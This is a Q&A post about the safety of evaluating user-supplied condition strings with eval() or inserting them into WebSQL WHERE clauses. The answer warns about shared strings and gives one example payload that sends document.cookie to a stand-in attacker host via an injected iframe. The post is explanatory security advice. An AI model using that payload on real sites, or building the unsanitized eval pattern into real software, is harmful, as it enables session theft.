Question

I’ve almost finished developing a script that exposes an API that can be used to uniformly perform storage operations on any of the web browser storage technologies.

The last bits of functionality that I’m working on are conditional retrieval and removal operations, which (of course) require a conditional expression to be supplied that will be evaluated (either using eval() or, in the case of webSQL, inserted directly after WHERE).

I’d need at least two full-blown parsers(one for webSQL, one for indexedDB) to verify the input as valid, but after a security assessment it seems as though parsing the input, or even sanitizing it, is unecessary.

I’m a bit unsure of the security implications of evaluating raw strings, so I’d appreciate some input on my security assessment:

User:

Evaluating input supplied either directly or indirectly by a user
should be a non-issue due to the sanboxed nature of the storage
technologies (he/she’d be manipulating data accessible only to him/her
for a given origin), and the fact that nothing can be done with the
API that can’t be done by the user directly in the browser.

Third-parties:

Storage technologies obey the same-origin policy, and thus, cannot
access the sandboxed storage areas belonging to other origins

I feel as though I’ve overlooked one or more possible security concerns in my assessment; is this the case? Or is the assessment (for the most part) correct?

Answer 1

The real revelant security question is where the condition strings comes from. As long as the strings always come from the user, there’s no risk — the user can eval anything directly from the JS console anyway. Once you allow the string to come from somewhere besides direct user input, you get into risky territory.

Suppose a site uses your API script in their code. Suppose also they let you save your favorite search conditionals. Suppose further that they let you share your list of favorite searches with other users. When you view a shared conditional, you are loading a string provided by another user.

Suppose one of your sends you a link to view his saved conditional:

foo==5; e=document.createElement(iframe); e.src='http://badsite.com/stealcookies?'+document.cookie;document.body.appendChild(e);

When you load the conditional into your data viewer, you’ve just exposed your cookie data to another website.

For WebSQL injection (as opposed to eval), the same kind of damage is possible, but limited to your data store, rather than your entire JavaScript execution environment.